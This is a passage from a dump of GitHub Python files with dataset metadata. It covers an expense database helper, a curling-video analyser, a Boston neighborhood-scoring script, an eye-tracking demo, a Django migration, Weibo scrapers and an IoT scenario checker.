= %s AND transaction_type = %s'\n args = (user_id, 0)\n db = connect()\n cursor = db.cursor()\n cursor.execute(query, args)\n rows = None\n rows = cursor.fetchall()\n db.commit()\n cursor.close()\n db.close()\n transactions = {}\n keys_list = [\"id\", \"transaction_type\", \"category\", \"title\", \"description\", \"amount\", \"date_added\"]\n expenses = {}\n counter = 0\n for row in rows:\n expenses[counter] = {}\n expenses[counter][keys_list[0]] = row[0]\n expenses[counter][keys_list[1]] = row[1]\n expenses[counter][keys_list[2]] = row[2]\n expenses[counter][keys_list[3]] = row[3]\n expenses[counter][keys_list[4]] = row[4]\n expenses[counter][keys_list[5]] = row[5]\n expenses[counter][keys_list[6]] = row[6]\n print(counter)\n counter += 1\n return expenses\n\ndef get_all_incomes(user_id):\n query = 'SELECT * from user_transactions WHERE user_id = %s AND transaction_type = %s'\n args = (user_id, 1)\n db = connect()\n cursor = db.cursor()\n cursor.execute(query, args)\n rows = None\n rows = cursor.fetchall()\n db.commit()\n cursor.close()\n db.close()\n transactions = {}\n keys_list = [\"id\", \"transaction_type\", \"category\", \"title\", \"description\", \"amount\", \"date_added\"]\n incomes = {}\n counter = 0\n for row in rows:\n incomes[counter] = {}\n incomes[counter][keys_list[0]] = row[0]\n incomes[counter][keys_list[1]] = row[1]\n incomes[counter][keys_list[2]] = row[2]\n incomes[counter][keys_list[3]] = row[3]\n incomes[counter][keys_list[4]] = row[4]\n incomes[counter][keys_list[5]] = row[5]\n incomes[counter][keys_list[6]] = row[6]\n print(counter)\n counter += 1\n return incomes\n\ndef get_user():\n if user is not None:\n return user\n else:\n return -999\n\n\"\"\"if __name__ == '__main__':\n insert_new_user('asdf','asdf','asdfsa')\"\"\"","repo_name":"madhur2k9/Expense-Manager","sub_path":"Helper/Database_Connection.py","file_name":"Database_Connection.py","file_ext":"py","file_size_in_byte":5410,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"31159054318","text":"from option import OPT as option\nimport os\nimport sys\nimport cv2\nimport numpy as np\nfrom typing import List\n\nfrom rich import print\n\n\ndef getCurrentState_color(frame) -> List:\n\n hsv = cv2.cvtColor(frame.copy(), cv2.COLOR_BGR2Lab)\n # hsv = frame.copy()\n\n res: List = [[], []]\n\n ver: int = option.STATE_VERTICAL\n\n offset: int = option.STATE_OFFSET\n\n for i in option.STATE_POSITION:\n\n part1 = hsv[ver[0] - 5: ver[0] + 5, i - 5: i + 5]\n part2 = hsv[ver[1] - 5: ver[1] + 5, i - 5: i + 5]\n\n part1 = np.average(np.average(part1, axis=0), axis=0)\n part2 = np.average(np.average(part2, axis=0), axis=0)\n\n # print(part1, part2)\n\n part1 = part1.tolist()\n part2 = part2.tolist()\n\n frame[ver[0] - offset: ver[0] + offset, i - offset: i +\n offset] = cv2.cvtColor(np.uint8([[part1]]), cv2.COLOR_Lab2BGR)[0][0]\n frame[ver[1] - offset: ver[1] + offset, i - offset: i +\n offset] = cv2.cvtColor(np.uint8([[part2]]), cv2.COLOR_Lab2BGR)[0][0]\n\n res[0].append(part1)\n res[1].append(part2)\n\n if option.debug:\n for i in option.STATE_POSITION:\n frame[ver[0], i] = [0, 0, 255]\n frame[ver[1], i] = [0, 0, 255]\n\n # 203 38\n # print(res)\n\n return res\n\n\ndef getCurrentState_merge(color: List):\n res: List = color.copy()\n\n for j, items in enumerate(color[0]):\n res[0][j] = True\n\n for i, item in enumerate(items):\n if (not item in option.CurlingInterval_red[i]):\n res[0][j] = False\n\n for j, items in enumerate(color[1]):\n res[1][j] = True\n\n for i, item in enumerate(items):\n if (not item in option.CurlingInterval_yel[i]):\n res[1][j] = False\n\n return res\n\n\ndef getCurrentState_filter(state: List):\n res1, res2 = 0, 0\n\n for i, item in enumerate(state[0]):\n if (item == False):\n res1 = i\n break\n\n for i, item in enumerate(state[1]):\n if (item == False):\n res2 = i\n break\n\n return (res1, res2)\n\n\ndef getCurrentState(frame):\n # print(getCurrentState_color(frame.copy()))\n return getCurrentState_merge(getCurrentState_color(frame))\n\n\ndef FlattenList(nested_list):\n flattened_list = []\n for item in nested_list:\n if isinstance(item, list):\n flattened_list.extend(FlattenList(item))\n else:\n flattened_list.append(item)\n return flattened_list\n\n\ndef BoolList2StringList(ls):\n res = []\n for i in ls:\n res.append(\"1\" if i else \"0\")\n return res\n\n\nif __name__ == '__main__':\n\n cap = cv2.VideoCapture(option.VIDEO_PATH)\n\n if not cap.isOpened():\n print(\"无法打开视频文件\")\n \n # for i in range(1000):\n # cap.grab()\n\n i: int = 0\n\n res = []\n\n while True:\n\n ret, frame = cap.read()\n if not ret:\n break\n\n i += 1\n\n t = getCurrentState(frame)\n print(i, t)\n\n res.append(\" \".join(BoolList2StringList(FlattenList(t))))\n\n if (i >= 3200):\n break\n\n cv2.imshow('frame', frame)\n\n if cv2.waitKey(1) & 0xFF == ord('q'):\n exit(0)\n\n cap.release()\n cv2.destroyAllWindows()\n\n file = open(\"./output/P1.txt\", \"w\")\n file.write(str(len(res)) + \"\\n\")\n file.write(\"\\n\".join(res))\n file.close()\n print(\"Python OpenCV Process - Finished\")\n","repo_name":"Howardzhangdqs/curling_public","sub_path":"VideoProcessing/VideoSegment/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3413,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"32407983725","text":"import urllib.request\nimport json\nimport dml\nimport prov.model\nimport datetime\nimport uuid\nimport numpy as np\nimport math\n\nclass neighborhoodScores(dml.Algorithm):\n contributor = 'carole07_echanglc_wongi'\n reads = ['carole07_echanglc_wongi.hospitals', 'carole07_echanglc_wongi.streetlights','carole07_echanglc_wongi.schools', 'carole07_echanglc_wongi.camSchools', 'carole07_echanglc_wongi.polices']\n writes = ['carole07_echanglc_wongi.hospitals_coord', 'carole07_echanglc_wongi.schools_coord', 'carole07_echanglc_wongi.streetlights_coord', 'carole07_echanglc_wongi.neighborhood_scores', 'carole07_echanglc_wongi.polices_coord']\n\n @staticmethod\n def execute(trial = True):\n\n '''Retrieve some data sets (not using the API here for the sake of simplicity).'''\n startTime = datetime.datetime.now()\n\n # Set up the database connection.\n client = dml.pymongo.MongoClient()\n repo = client.repo\n repo.authenticate('carole07_echanglc_wongi', 'carole07_echanglc_wongi')\n############################################################################################################\n Hospitals_coord = []\n Hospitals_dict = []\n CurrentHosp = repo['carole07_echanglc_wongi.hospitals'].find()\n for entry in CurrentHosp:\n name = entry['NAME']\n coord = entry['Location'].splitlines()[2]\n pair = coord.split(\",\")\n coord = [float(pair[0][1:]),float(pair[1][1:-1])]\n Hospitals_coord.append([name,coord])\n Hospitals_dict.append({'hospitalName':name,'coord':coord})\n repo.dropPermanent(\"hospitals_coord\")\n repo.createPermanent(\"hospitals_coord\")\n repo['carole07_echanglc_wongi.hospitals_coord'].insert_many(Hospitals_dict)\n############################################################################################################\n Schools_coord = []\n Schools_dict = []\n CurrentSchool = repo['carole07_echanglc_wongi.schools'].find()\n CurrentCamSchool = repo['carole07_echanglc_wongi.camSchools'].find() \n for entry in CurrentSchool:\n coord = entry['fields']['geo_point_2d']\n name = entry['fields']['sch_name']\n Schools_coord.append([name,coord])\n Schools_dict.append({'schoolName':name,'coord':coord})\n tempcoords = []\n tempnames = [\n \"Haggarty School\",\n \"John M. Tobin School\",\n \"Andrew Peabody School\",\n \"Graham & Parks School\",\n \"Maria L. Baldwin School\",\n \"Putnam Avenue Upper School\",\n \"Morse Elementary School\",\n \"Dr. Martin Luther King Jr. School\",\n \"Cambridge Rindge & Latin School\",\n \"CRLS 9th Grade Campus\",\n \"High School Extension Program\",\n \"Amigos School\",\n \"King Open School\",\n \"Cambridgeport School\",\n \"Fletcher-Maynard Elementary\",\n \"Kennedy/Longfellow School\",\n \"Cambridge Street Upper School\"\n ]\n for entry in CurrentCamSchool:\n for entry2 in entry[\"meta\"][\"view\"][\"columns\"]:\n if entry2[\"id\"] == 232084408:\n for entry3 in entry2[\"cachedContents\"][\"top\"]:\n tempcoords += entry3[\"item\"][\"coordinates\"]\n for i in range(len(tempnames)):\n coord = [tempcoords[i*2-1], tempcoords[i*2]]\n name = tempnames[i]\n Schools_coord.append([name,coord])\n Schools_dict.append({'schoolName':name,'coord':coord})\n repo.dropPermanent(\"schools_coord\")\n repo.createPermanent(\"schools_coord\")\n repo['carole07_echanglc_wongi.schools_coord'].insert_many(Schools_dict)\n############################################################################################################\n Streetlights_coord = []\n Streetlights_dict = []\n LightTypes = repo['carole07_echanglc_wongi.streetlights'].find()\n for entry in LightTypes:\n coord = [entry['Lat'],entry['Long']]\n name = entry[\"TYPE\"]\n Streetlights_coord.append([name,coord])\n Streetlights_dict.append({'streetlightName':name,'coord':coord})\n repo.dropPermanent(\"streetlights_coord\")\n repo.createPermanent(\"streetlights_coord\")\n repo['carole07_echanglc_wongi.streetlights_coord'].insert_many(Streetlights_dict)\n############################################################################################################\n Polices_coord = []\n Polices_dict = []\n CurrentPoliceDept = repo['carole07_echanglc_wongi.polices'].find()\n hardcoords = [\n [42.286760, -71.148411],\n [42.256476, -71.124279],\n [42.309700, -71.104600],\n [42.339629, -71.069161],\n [42.349300, -71.150600],\n [42.341200, -71.054900],\n [42.298068, -71.059141],\n [42.284800, -71.091600],\n [42.328494, -71.085717],\n [42.371200, -71.038700]]\n count = 0\n for entry in CurrentPoliceDept:\n for entry2 in entry[\"data\"][\"fields\"]:\n if entry2[\"name\"] == \"NAME\":\n for entry3 in entry2[\"statistics\"][\"values\"]:\n name = entry3[\"value\"]\n coord = hardcoords[count]\n Polices_coord.append([name,coord])\n Polices_dict.append({'policeDeptName':name,'coord':coord})\n count+=1\n repo.dropPermanent(\"polices_coord\")\n repo.createPermanent(\"polices_coord\")\n repo[\"carole07_echanglc_wongi.polices_coord\"].insert_many(Polices_dict)\n############################################################################################################\n neighborhoods = [\n ['Allston', [42.3539, -71.1337]],\n ['Back Bay', [42.3503, -71.0810]],\n ['Bay Village', [42.3490, -71.0698]],\n ['Beacon Hill', [42.3588, -71.0707]],\n ['Brighton', [42.3464, -71.1627]],\n ['Charlestown', [42.3782, -71.0602]],\n ['Chinatown', [42.3501, -71.0624]],\n ['Dorchester', [42.3016, -71.0676]],\n ['Downtown Crossing', [42.3555, -71.0594]],\n ['East Boston', [42.3702, -71.0389]],\n ['Fenway', [42.3429, -71.1003]],\n ['Hyde Park', [42.2565, -71.1241]],\n ['Jamaica Plain', [42.3097, -71.0476]],\n ['Mattapan', [42.2771, -71.0914]],\n ['Mission Hill', [42.3296, -71.1062]],\n ['North End', [42.3647, -71.0542]],\n ['Roslindale', [42.2832, -71.1270]],\n ['Roxbury', [42.3152, -71.0914]],\n ['South Boston', [42.3381, -71.0476]],\n ['South End', [42.3388, -71.0765]],\n ['West End', [42.3644, -71.0661]],\n ['West Roxbury', [42.2798, -71.1627]]\n ]\n############################################################################################################\n def getDistance(lat1,lon1,lat2,lon2):\n R = 6371\n dLat = deg2rad(lat2-lat1)\n dLon = deg2rad(lon2-lon1)\n a = math.sin(dLat/2) * math.sin(dLat/2) + math.cos(deg2rad(lat1)) * math.cos(deg2rad(lat2)) * math.sin(dLon/2) * math.sin(dLon/2)\n c = 2 * math.atan2(math.sqrt(a), math.sqrt(1-a))\n d = R * c\n return d\n\n\n def deg2rad(deg):\n return deg * (math.pi/180)\n\n # Optimizing distance by min (optimization problem)\n def minHospital(category):\n if (trial):\n category = category[:5]\n\n distancesPerCity = [0] * len(neighborhoods)\n\n\n for i in range(len(neighborhoods)):\n minDistance = 1000000\n for t in range(len(category)):\n currentDistance = getDistance( neighborhoods[i][1][0] , neighborhoods[i][1][1] , float(category[t][1][0]), float(category[t][1][1]) )\n if currentDistance < minDistance:\n minDistance = currentDistance\n distancesPerCity[i] = [neighborhoods[i],category[t],minDistance]\n\n return distancesPerCity\n\n # Constraint using threshold\n def countCategory(category):\n if (trial):\n category = category[:5]\n\n countPerCity = [0] * len(neighborhoods)\n threshold = 3\n\n for i in range(len(neighborhoods)):\n count = 0\n\n for t in range(len(category)):\n currentDistance = getDistance( neighborhoods[i][1][0] , neighborhoods[i][1][1] , float(category[t][1][0]), float(category[t][1][1]) )\n if currentDistance < threshold: #category is within 3km of the neighborhood\n count += 1\n countPerCity[i] = [neighborhoods[i],count] #update count for respective neighborhood\n if count == 0:\n countPerCity[i] = [neighborhoods[i],count]\n\n return countPerCity\n\n def propCalc(data):\n if (trial):\n data = data[:5]\n\n countPerCity = [0] * len(neighborhoods)\n threshold = 3\n\n for i in range(len(neighborhoods)):\n calc = 0\n count = 0\n\n for t in range(len(data)):\n currentDistance = getDistance(neighborhoods[i][1][0], neighborhoods[i][1][1], float(data[t][1][0]), float(data[t][1][1]))\n if currentDistance < threshold: # the property is within 3km radius\n calc += int(data[t][-1])\n count += 1\n countPerCity[i] = [neighborhoods[i], calc]\n if calc == 0:\n countPerCity[i] = [neighborhoods[i], calc]\n countPerCity[i] = [neighborhoods[i], calc//count]\n # divide total value of all nearby residence properties by the number of nearby residence properties\n return countPerCity\n\n #count of each category per neighborhood\n streetlights_Count = countCategory(Streetlights_coord)\n hospital_Count = minHospital(Hospitals_coord)\n #print(hospital_Count)\n school_Count = countCategory(Schools_coord)\n polices_Count = minHospital(Polices_coord)\n\n\n result = [[x for x in range(2)] for y in range(len(neighborhoods))]\n\n a = []\n # Scoring algorithm\n for i in range(len(neighborhoods)):\n result[i][0] = neighborhoods[i][0]\n\n # Calculate score\n result[i][1] = hospital_Count[i][-1] * 0.25\n result[i][1] += school_Count[i][-1] * 0.25\n result[i][1] += polices_Count[i][-1] * 0.25\n result[i][1] += streetlights_Count[i][-1] * 0.25\n result[i][1] /= 4\n a.append({'neighborhood' : result[i][0], 'hospital_count': hospital_Count[i][-1], 'school_count': school_Count[i][-1], 'policeDept_count': polices_Count[i][-1], 'streetlights_count': streetlights_Count[i][-1], 'score': (result[i][1])})\n\n print(a)\n repo.dropPermanent(\"neighborhood_scores\")\n repo.createPermanent(\"neighborhood_scores\")\n repo['carole07_echanglc_wongi.neighborhood_scores'].insert_many(a)\n endTime = datetime.datetime.now()\n repo.logout()\n return {\"start\":startTime, \"end\":endTime}\n\n\n\n @staticmethod\n def provenance(doc = prov.model.ProvDocument(), startTime = None, endTime = None):\n \"\"\"\n Create the provenance document describing everything happening\n in this script. Each run of the script will generate a new\n document describing that invocation event.\n \"\"\"\n\n # Set up the database connection.\n client = dml.pymongo.MongoClient()\n repo = client.repo\n repo.authenticate('carole07_echanglc_wongi', 'carole07_echanglc_wongi')\n doc.add_namespace('alg', 'http://datamechanics.io/algorithm/') # The scripts are in # format.\n doc.add_namespace('dat', 'http://datamechanics.io/data/') # The data sets are in # format.\n doc.add_namespace('ont', 'http://datamechanics.io/ontology#') # 'Extension', 'DataResource', 'DataSet', 'Retrieval', 'Query', or 'Computation'.\n doc.add_namespace('log', 'http://datamechanics.io/log/') # The event log.\n doc.add_namespace('bdp', 'https://data.cityofboston.gov/resource/')\n\n this_script = doc.agent('alg:carole07_echanglc_wongi#getneighborhoodScores', {prov.model.PROV_TYPE:prov.model.PROV['SoftwareAgent'], 'ont:Extension': 'py'})\n hospital_resource = doc.entity('dat:carole07_echanglc_wongi#hospitals', {'prov:label':' Hospitals', prov.model.PROV_TYPE:'ont:DataResource', 'ont:Extension':'json'})\n school_resource = doc.entity('dat:carole07_echanglc_wongi#schools', {'prov:label':' Schools', prov.model.PROV_TYPE:'ont:DataResource', 'ont:Extension':'json'})\n camSchool_resource = doc.entity('dat:carole07_echanglc_wongi#camSchools', {'prov:label':'Cambridge Schools', prov.model.PROV_TYPE:'ont:DataResource', 'ont:Extension':'json'})\n police_resource = doc.entity('dat:carole07_echanglc_wongi#polices', {'prov:label':'Police Stations', prov.model.PROV_TYPE:'ont:DataResource', 'ont:Extension':'json'})\n streetlights_resource = doc.entity('dat:carole07_echanglc_wongi#streetlights', {'prov:label':'Streetlights', prov.model.PROV_TYPE:'ont:DataResource', 'ont:Extension':'json'})\n neighborhoodScores = doc.entity('dat:carole07_echanglc_wongi#neighborhood_scores', {prov.model.PROV_LABEL: 'Scores of each Boston neighborhood', prov.model.PROV_TYPE:'ont:DataSet'})\n get_neighborhoodScores = doc.activity('log:uuid' + str(uuid.uuid4()), startTime, endTime)\n doc.wasAssociatedWith(get_neighborhoodScores, this_script)\n \n doc.usage(get_neighborhoodScores, school_resource, startTime, None, {prov.model.PROV_TYPE:'ont:Retrieval'})\n doc.usage(get_neighborhoodScores, hospital_resource, startTime, None, {prov.model.PROV_TYPE:'ont:Retrieval'})\n doc.usage(get_neighborhoodScores, streetlights_resource, startTime, None, {prov.model.PROV_TYPE:'ont:Retrieval'})\n doc.usage(get_neighborhoodScores, camSchool_resource, startTime, None, {prov.model.PROV_TYPE:'ont:Retrieval'})\n doc.usage(get_neighborhoodScores, police_resource, startTime, None, {prov.model.PROV_TYPE:'ont:Retrieval'})\n\n neighborhoodScores = doc.entity('dat:carole07_echanglc_wongi#neighborhoodScores', {prov.model.PROV_LABEL:' Complete Dev Scores', prov.model.PROV_TYPE:'ont:DataSet'})\n\n doc.wasAttributedTo(neighborhoodScores, this_script)\n doc.wasGeneratedBy(neighborhoodScores, get_neighborhoodScores, endTime)\n\n doc.wasDerivedFrom(neighborhoodScores, camSchool_resource, get_neighborhoodScores, get_neighborhoodScores, get_neighborhoodScores)\n doc.wasDerivedFrom(get_neighborhoodScores, school_resource, get_neighborhoodScores, get_neighborhoodScores, get_neighborhoodScores)\n doc.wasDerivedFrom(get_neighborhoodScores, hospital_resource, get_neighborhoodScores, get_neighborhoodScores, get_neighborhoodScores)\n doc.wasDerivedFrom(get_neighborhoodScores, streetlights_resource, get_neighborhoodScores, get_neighborhoodScores, get_neighborhoodScores)\n doc.wasDerivedFrom(get_neighborhoodScores, police_resource, get_neighborhoodScores, get_neighborhoodScores, get_neighborhoodScores)\n \n repo.logout()\n return doc\n","repo_name":"data-mechanics/course-2017-fal-proj","sub_path":"carole07_echanglc_wongi/neighborhoodScores.py","file_name":"neighborhoodScores.py","file_ext":"py","file_size_in_byte":15519,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"18605779396","text":"import cv2\nimport dlib\nimport numpy as np\n\ndef shape_numpy(shape, dtype=\"int\"):\n coordinates = np.zeros((68, 2), dtype=dtype)\n for i in range(0, 68):\n coordinates[i] = (shape.part(i).x, shape.part(i).y)\n return coordinates\n\ndef eye_on_mask(mask, side):\n points = [shape[i] for i in side]\n points = np.array(points, dtype=np.int32)\n mask = cv2.fillConvexPoly(mask, points, (0, 255, 0))\n return mask\n\ndef find_eyes_center(shape, side):\n points = [shape[i] for i in side]\n x = sum([p[0] for p in points]) / len(points)\n y = sum([p[1] for p in points]) / len(points)\n return int(x), int(y)\n\ndetector = dlib.get_frontal_face_detector()\npredictor = dlib.shape_predictor('shape_68.dat')\n\nleft = [36, 37, 38, 39, 40, 41]\nright = [42, 43, 44, 45, 46, 47]\n\ncap = cv2.VideoCapture(0)\nret, img = cap.read()\nthresh = img.copy()\n\ncv2.namedWindow('image')\nkernel = np.ones((9, 9), np.uint8)\n\ndef nothing(x):\n pass\n\ncv2.createTrackbar('threshold', 'image', 0, 255, nothing)\n\nwhile True:\n ret, img = cap.read()\n gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n rects = detector(gray, 1)\n for rect in rects:\n shape = predictor(gray, rect)\n shape = shape_numpy(shape)\n mask = np.zeros(img.shape[:2], dtype=np.uint8)\n mask = eye_on_mask(mask, left)\n mask = eye_on_mask(mask, right)\n mask = cv2.dilate(mask, kernel, 5)\n eyes = cv2.bitwise_and(img, img, mask=mask)\n mask = (eyes == [0, 0, 0]).all(axis=2)\n eyes[mask] = [255, 255, 255]\n\n left_eye_center = find_eyes_center(shape, left)\n right_eye_center = find_eyes_center(shape, right)\n\n cv2.circle(img, left_eye_center, 10, (0, 255, 0), -1)\n cv2.circle(img, right_eye_center, 10, (0, 255, 0), -1)\n\n cv2.imshow('eyes', img)\n cv2.imshow('image', thresh)\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n\ncap.release()\ncv2.destroyAllWindows()\n\n","repo_name":"HDER7/eyes_tracking","sub_path":"tracking_eyes.py","file_name":"tracking_eyes.py","file_ext":"py","file_size_in_byte":1926,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"17865230466","text":"from __future__ import annotations\n\nfrom typing import TYPE_CHECKING\n\nfrom core.models import Competencies\nfrom django.db import migrations\n\nif TYPE_CHECKING:\n from django.db.backends.sqlite3.schema import DatabaseSchemaEditor\n from django.db.migrations.state import StateApps\n\nCOMPETENCIES = (\"Intern\", \"Junior\", \"Middle\", \"Senior\")\n\n\ndef populate_competencies(apps: StateApps, schema_editor: DatabaseSchemaEditor) -> None:\n for competence in COMPETENCIES:\n Competencies.objects.create(competence=competence)\n\n\ndef delete_competencies(apps: StateApps, schema_editor: DatabaseSchemaEditor) -> None:\n for competence in COMPETENCIES:\n Competencies.objects.get(competence=competence).delete()\n\n\nclass Migration(migrations.Migration):\n dependencies: list[tuple[str, str]] = [\n ('core', '0001_initial'),\n ]\n\n operations = [\n migrations.RunPython(\n code=populate_competencies, reverse_code=delete_competencies\n ),\n ]\n","repo_name":"EugeniRosh/job_board","sub_path":"src/job_board/core/migrations/0002_add_competence.py","file_name":"0002_add_competence.py","file_ext":"py","file_size_in_byte":981,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"22510978822","text":"import os.path\nimport random\nimport time\n\nimport requests\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom pyquery import PyQuery as pq\n\ndriver = webdriver.Edge()\n# print(dir(driver))\ndriver.maximize_window()\n# start_time = \"2021-01-01\"\n# end_time = \"2022-07-01\"\nstart_time = 1577808000\nend_time = 1579536000\nuser = 2028810631\n\nchrome_options = webdriver.EdgeOptions()\nprefs = {\"profile.managed_default_content_settings.images\": 2}\nchrome_options.add_experimental_option(\"prefs\", prefs)\n\n\ndef load():\n driver.get(\"https://weibo.com/login.php\")\n try:\n driver\n html1 = driver.page_source\n doc1 = pq(html1, parser='html')\n # 切换到扫码登录\n btn = WebDriverWait(driver, 10).until(\n EC.element_to_be_clickable(\n (By.CSS_SELECTOR, \"#pl_login_form > div > div.info_header > div > a:nth-child(2)\"))\n )\n btn.click()\n key = input(\"任意输入以继续:\")\n # 打开搜索页面\n driver.get(\n \"https://weibo.com/u/{}?key_word=%E7%96%AB%E6%83%85&start_time={}&end_time={}')\".format(\n user, start_time, end_time))\n filepath = \"C:\\\\Users\\\\26227\\\\Desktop\\\\大创\\\\原始数据\\\\{}-url.csv\".format(user)\n with open(filepath, \"a+\", encoding=\"gb2312\") as f:\n # f.write(\"发帖时间,发帖账户,帖子内容,链接\\n\")\n postset = set()\n for hei in range(0, 10000):\n delay = random.randint(5, 20) / 10\n time.sleep(delay)\n driver.execute_script('window.scrollTo({},{});'.format(hei * 600, (1 + hei) * 600))\n print(delay)\n # print(\"hh\")\n html1 = driver.page_source\n doc1 = pq(html1, parser='html')\n posts = doc1('.vue-recycle-scroller__item-view').items()\n for post in posts:\n # print(\"pp\")\n url = post.find(\n \"div > article > div > header > div.woo-box-item-flex.head_main_3DRDm > div > div.woo-box-flex.woo-box-alignCenter.woo-box-justifyCenter.head-info_info_2AspQ > a\").attr(\n 'href')\n url = str(url)\n if not postset.__contains__(url):\n # print(\"enter2\")\n postset.add(url)\n else:\n continue\n uptime = post.find(\n \"div > article > div > header > div.woo-box-item-flex.head_main_3DRDm > div > div.woo-box-flex.woo-box-alignCenter.woo-box-justifyCenter.head-info_info_2AspQ > a\").text()\n # scroller > div.vue-recycle-scroller__item-wrapper > div:nth-child(1) > div > article > div > header > div.woo-box-item-flex.head_main_3DRDm > div > div.woo-box-flex.woo-box-alignCenter.woo-box-justifyCenter.head-info_info_2AspQ > a\n title = post.find(\n \"div > article > div > header > div.woo-box-item-flex.head_main_3DRDm > div > div.woo-box-flex.woo-box-alignCenter.head_nick_1yix2 > a > span\").text()\n # scroller > div.vue-recycle-scroller__item-wrapper > div:nth-child(12) > div > article > div > div > div.detail_text_1U10O.detail_ogText_2Z1Q8.wbpro-feed-ogText > div > a\n # scroller > div.vue-recycle-scroller__item-wrapper > div:nth-child(12) > div > article > div > header > div.woo-box-item-flex.head_main_3DRDm > div > div.woo-box-flex.woo-box-alignCenter.head_nick_1yix2 > a > span\n # scroller > div.vue-recycle-scroller__item-wrapper > div:nth-child(12) > div > article > div > header > div.woo-box-item-flex.head_main_3DRDm > div > div.woo-box-flex.woo-box-alignCenter.woo-box-justifyCenter.head-info_info_2AspQ > a # 开始获取帖子信息\n content = post.find(\n \"div > article > div > div > div.detail_text_1U10O.detail_ogText_2Z1Q8.wbpro-feed-ogText > div > a\").text()\n print(\"用户:{},时间:{},内容:{},url:{}\".format(title, uptime, content, url))\n f.write(\"{},{},{},{}\\n\".format(uptime, title, content, url))\n if len(driver.find_elements(by=By.CSS_SELECTOR,\n value=\"#app > div.woo-box-flex.woo-box-column.Frame_wrap_3g67Q > div.woo-box-flex.Frame_content_3XrxZ > div:nth-child(2) > main > div.Main_full_1dfQX > div > div:nth-child(2) > div.container > div:nth-child(3) > div > div > div.woo-box-flex.woo-box-alignCenter.Bottom_box_1riM3 > div.Bottom_text_1kFLe\")) > 0:\n break\n except:\n pass\n\n\nif __name__ == '__main__':\n # pass\n # driver.get(\"https://weibo.com/login.php\")\n # time.sleep(5)\n # # driver.switch_to.new_window()\n # driver.get(\"https://www.baidu.com/\")\n # time.sleep(10)\n load()\n","repo_name":"huangazazaz/spider","sub_path":"getUrl.py","file_name":"getUrl.py","file_ext":"py","file_size_in_byte":5030,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"10884623912","text":"import os\nfrom time import sleep\n\nimport requests\nfrom dotenv import load_dotenv\n\nfrom .utils import write_log\n\nload_dotenv()\n\n\ndef assert_scenario(adaptation_scenarios):\n msg = []\n for scenario_name in adaptation_scenarios.keys():\n results = []\n count = 1\n write_log(f\"Asserting scenario {scenario_name}...\")\n for scenario in adaptation_scenarios[scenario_name]:\n message = scenario\n if \"receiver\" in scenario:\n message[\"to\"] = scenario[\"receiver\"]\n message[\"body\"] = scenario[\"body\"] if scenario[\"body\"] else \"\"\n receiver = message.pop(\"receiver\")\n results.append(\n requests.post(\n f\"{os.getenv('SIMULATOR_HOST')}/{receiver}/send_message\",\n json=message,\n ).status_code\n )\n elif \"sender\" in scenario:\n sender = message.pop(\"sender\")\n results.append(\n requests.post(\n f\"{os.getenv('SIMULATOR_HOST')}/{sender}/send_message\",\n json=message,\n ).status_code\n )\n\n count += 1\n sleep(count + 1)\n\n sleep(5)\n results.append(\n requests.get(\n f\"{os.getenv('OBSERVER_HOST')}/get_adaptation_status\"\n ).status_code\n )\n\n result = \"\"\n if results.count(200) == len(results):\n result = f\"[SUCCESS] Scenario {scenario_name} passed.\"\n else:\n result = f\"[FAILED] Scenario {scenario_name} failed.\"\n\n write_log(result)\n msg.append(result)\n\n return msg\n","repo_name":"Adrilene/envaiot","sub_path":"Configurator/project/assert_scenario.py","file_name":"assert_scenario.py","file_ext":"py","file_size_in_byte":1725,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"10540981729","text":"# -*- coding: utf-8 -*-\n# @Author: root\n# @Date: 2019-04-08 11:03:09\n# @Last Modified by: jmx\n# @Last Modified time: 2019-04-26 15:23:54\nimport urllib.request\nfrom bs4 import BeautifulSoup\nimport re\nimport smtplib\nfrom email.mime.text import MIMEText\nfrom email.header import Header\nimport time\nimport pymysql\nimport json\nimport sys\nimport os\nimport traceback\nimport datetime\n\n\ndef env(name=''):\n envFile = \"%s/.env\" % sys.path[0]\n if(os.path.exists(envFile)):\n env = eval(open(envFile).read())\n else:\n return None\n if(name == ''):\n return None\n if(name not in env):\n return None\n return env[name]\n\n\nclass conllection():\n \"\"\"docstring for conllection\"\"\"\n send_headers = {\n \"Accept\": \"*/*\",\n \"Accept-Language\": \"zh-CN,zh;q=0.9\",\n \"Connection\": \"keep-alive\",\n \"Content-Type\": \"application/x-www-form-urlencoded\",\n \"Cookie\": \"SUB=_2AkMr9jfyf8PxqwJRmP0WzGnmaI9_yQrEieKdqsYpJRMxHRl-yT9jqkIOtRB6AHYZHrat4NIMz68IGbFy6SKmcbU8BmL6;\",\n \"Host\": \"weibo.com\",\n \"Referer\": \"https: // weibo.com/gushequ?is_all = 1\",\n \"User-Agent\": \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36\"\n }\n\n def __init__(self, url, name):\n self.db = mysql()\n self.name = name\n req = urllib.request.Request(url, headers=self.send_headers)\n response = urllib.request.urlopen(req)\n data = response.read().decode('utf-8')\n data = re.sub(r'\\\\n', '', data)\n data = re.sub(r'\\\\t', '', data)\n data = re.sub(r'\\\\r', '', data)\n data = re.sub(r'\\\\', '', data)\n # 获取发布时间\n pattern = re.compile(\n '
\\s*?
